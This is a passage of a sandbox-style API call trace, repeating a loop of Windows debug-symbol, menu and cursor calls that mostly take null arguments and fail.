| out: FoundFile=0x0) returned 0 [0141.061] SymCleanup (hProcess=0x0) returned 0 [0141.061] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.061] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.061] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.061] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1290, param_4=875, param_5=0x0, param_6=0x0) returned 0 [0141.061] GetLastError () returned 0x579 [0141.061] SetLastError (dwErrCode=0x579) [0141.061] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.061] SymCleanup (hProcess=0x0) returned 0 [0141.061] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.061] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.061] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.061] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.061] GetLastError () returned 0x579 [0141.061] SetLastError (dwErrCode=0x579) [0141.061] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.061] SymCleanup (hProcess=0x0) returned 0 [0141.061] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.061] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.061] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.061] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=847, param_4=119, param_5=0x0, param_6=0x0) returned 0 [0141.061] GetLastError () returned 0x579 [0141.061] SetLastError (dwErrCode=0x579) [0141.061] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.062] SymCleanup (hProcess=0x0) returned 0 [0141.062] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.062] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.062] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.062] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.062] GetLastError () returned 0x579 [0141.062] SetLastError (dwErrCode=0x579) [0141.062] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.062] SymCleanup (hProcess=0x0) returned 0 [0141.062] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.062] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.062] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.062] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=114, param_5=0x0, param_6=0x0) returned 0 [0141.062] GetLastError () returned 0x579 [0141.062] SetLastError (dwErrCode=0x579) [0141.062] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.062] SymCleanup (hProcess=0x0) returned 0 [0141.062] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.062] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.062] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.062] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=303, param_4=502, param_5=0x0, param_6=0x0) returned 0 [0141.062] GetLastError () returned 0x579 [0141.062] SetLastError (dwErrCode=0x579) [0141.062] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.062] SymCleanup (hProcess=0x0) returned 0 [0141.062] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.062] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.063] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.063] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.063] GetLastError () returned 0x579 [0141.063] SetLastError (dwErrCode=0x579) [0141.063] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.063] SymCleanup (hProcess=0x0) returned 0 [0141.063] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.063] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.063] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.063] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0141.063] GetLastError () returned 0x579 [0141.063] SetLastError (dwErrCode=0x579) [0141.063] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.063] SymCleanup (hProcess=0x0) returned 0 [0141.063] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.063] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.063] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.063] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.063] GetLastError () returned 0x579 [0141.063] SetLastError (dwErrCode=0x579) [0141.063] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.083] SymCleanup (hProcess=0x0) returned 0 [0141.083] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.083] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.083] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.083] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=849, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.084] GetLastError () returned 0x579 [0141.084] SetLastError (dwErrCode=0x579) [0141.084] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.084] SymCleanup (hProcess=0x0) returned 0 [0141.084] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.084] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.084] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.084] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1240, param_4=98, param_5=0x0, param_6=0x0) returned 0 [0141.084] GetLastError () returned 0x579 [0141.084] SetLastError (dwErrCode=0x579) [0141.084] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.084] SymCleanup (hProcess=0x0) returned 0 [0141.084] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.084] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.084] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.084] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.084] GetLastError () returned 0x579 [0141.084] SetLastError (dwErrCode=0x579) [0141.084] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.084] SymCleanup (hProcess=0x0) returned 0 [0141.084] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.084] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.084] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.084] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=844, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.085] GetLastError () returned 0x579 [0141.085] SetLastError (dwErrCode=0x579) [0141.085] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.085] SymCleanup (hProcess=0x0) returned 0 [0141.085] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.085] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.085] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.085] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.085] GetLastError () returned 0x579 [0141.085] SetLastError (dwErrCode=0x579) [0141.085] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.085] SymCleanup (hProcess=0x0) returned 0 [0141.085] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.085] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.085] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.085] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=843, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0141.085] GetLastError () returned 0x579 [0141.085] SetLastError (dwErrCode=0x579) [0141.085] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.085] SymCleanup (hProcess=0x0) returned 0 [0141.085] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.085] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.085] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.085] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=370, param_4=550, param_5=0x0, param_6=0x0) returned 0 [0141.085] GetLastError () returned 0x579 [0141.085] SetLastError (dwErrCode=0x579) [0141.086] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.086] SymCleanup (hProcess=0x0) returned 0 [0141.086] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.086] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.086] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.086] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.086] GetLastError () returned 0x579 [0141.086] SetLastError (dwErrCode=0x579) [0141.086] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.086] SymCleanup (hProcess=0x0) returned 0 [0141.086] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.086] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.086] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.086] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=848, param_4=119, param_5=0x0, param_6=0x0) returned 0 [0141.086] GetLastError () returned 0x579 [0141.086] SetLastError (dwErrCode=0x579) [0141.086] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.086] SymCleanup (hProcess=0x0) returned 0 [0141.086] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.086] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.086] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.086] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.086] GetLastError () returned 0x579 [0141.086] SetLastError (dwErrCode=0x579) [0141.086] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.086] SymCleanup (hProcess=0x0) returned 0 [0141.087] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.087] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.087] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.087] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=844, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0141.087] GetLastError () returned 0x579 [0141.087] SetLastError (dwErrCode=0x579) [0141.087] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.087] SymCleanup (hProcess=0x0) returned 0 [0141.087] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.087] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.087] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.087] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=834, param_4=798, param_5=0x0, param_6=0x0) returned 0 [0141.087] GetLastError () returned 0x579 [0141.087] SetLastError (dwErrCode=0x579) [0141.087] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.087] SymCleanup (hProcess=0x0) returned 0 [0141.087] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.087] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.087] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.087] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.087] GetLastError () returned 0x579 [0141.087] SetLastError (dwErrCode=0x579) [0141.087] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.087] SymCleanup (hProcess=0x0) returned 0 [0141.087] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.087] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.087] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.088] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=848, param_4=114, param_5=0x0, param_6=0x0) returned 0 [0141.088] GetLastError () returned 0x579 [0141.088] SetLastError (dwErrCode=0x579) [0141.088] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.088] SymCleanup (hProcess=0x0) returned 0 [0141.088] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.088] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.088] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.088] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.088] GetLastError () returned 0x579 [0141.088] SetLastError (dwErrCode=0x579) [0141.088] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.088] SymCleanup (hProcess=0x0) returned 0 [0141.088] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.088] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.088] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.088] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=848, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0141.088] GetLastError () returned 0x579 [0141.088] SetLastError (dwErrCode=0x579) [0141.088] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.088] SymCleanup (hProcess=0x0) returned 0 [0141.088] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.088] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.088] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.089] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1399, param_4=145, param_5=0x0, param_6=0x0) returned 0 [0141.089] GetLastError () returned 0x579 [0141.089] SetLastError (dwErrCode=0x579) [0141.089] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.089] SymCleanup (hProcess=0x0) returned 0 [0141.089] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.089] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.089] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.089] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.089] GetLastError () returned 0x579 [0141.089] SetLastError (dwErrCode=0x579) [0141.089] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.089] SymCleanup (hProcess=0x0) returned 0 [0141.089] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.089] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.089] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.089] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=847, param_4=119, param_5=0x0, param_6=0x0) returned 0 [0141.089] GetLastError () returned 0x579 [0141.089] SetLastError (dwErrCode=0x579) [0141.089] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.089] SymCleanup (hProcess=0x0) returned 0 [0141.089] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.089] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.089] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.089] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.090] GetLastError () returned 0x579 [0141.090] SetLastError (dwErrCode=0x579) [0141.090] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.090] SymCleanup (hProcess=0x0) returned 0 [0141.090] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.090] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.090] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.090] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=844, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.090] GetLastError () returned 0x579 [0141.090] SetLastError (dwErrCode=0x579) [0141.090] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.090] SymCleanup (hProcess=0x0) returned 0 [0141.090] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.090] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.090] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.090] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=650, param_4=394, param_5=0x0, param_6=0x0) returned 0 [0141.090] GetLastError () returned 0x579 [0141.090] SetLastError (dwErrCode=0x579) [0141.090] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.090] SymCleanup (hProcess=0x0) returned 0 [0141.090] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.090] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.090] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.090] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.090] GetLastError () returned 0x579 [0141.091] SetLastError (dwErrCode=0x579) [0141.091] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.091] SymCleanup (hProcess=0x0) returned 0 [0141.091] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.091] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.091] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.091] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=848, param_4=115, param_5=0x0, param_6=0x0) returned 0 [0141.091] GetLastError () returned 0x579 [0141.091] SetLastError (dwErrCode=0x579) [0141.091] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.091] SymCleanup (hProcess=0x0) returned 0 [0141.091] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.091] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.091] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.091] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.091] GetLastError () returned 0x579 [0141.091] SetLastError (dwErrCode=0x579) [0141.091] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.091] SymCleanup (hProcess=0x0) returned 0 [0141.091] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.091] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.091] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.091] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=847, param_4=116, param_5=0x0, param_6=0x0) returned 0 [0141.091] GetLastError () returned 0x579 [0141.091] SetLastError (dwErrCode=0x579) [0141.092] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.092] SymCleanup (hProcess=0x0) returned 0 [0141.092] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.092] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.092] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.092] 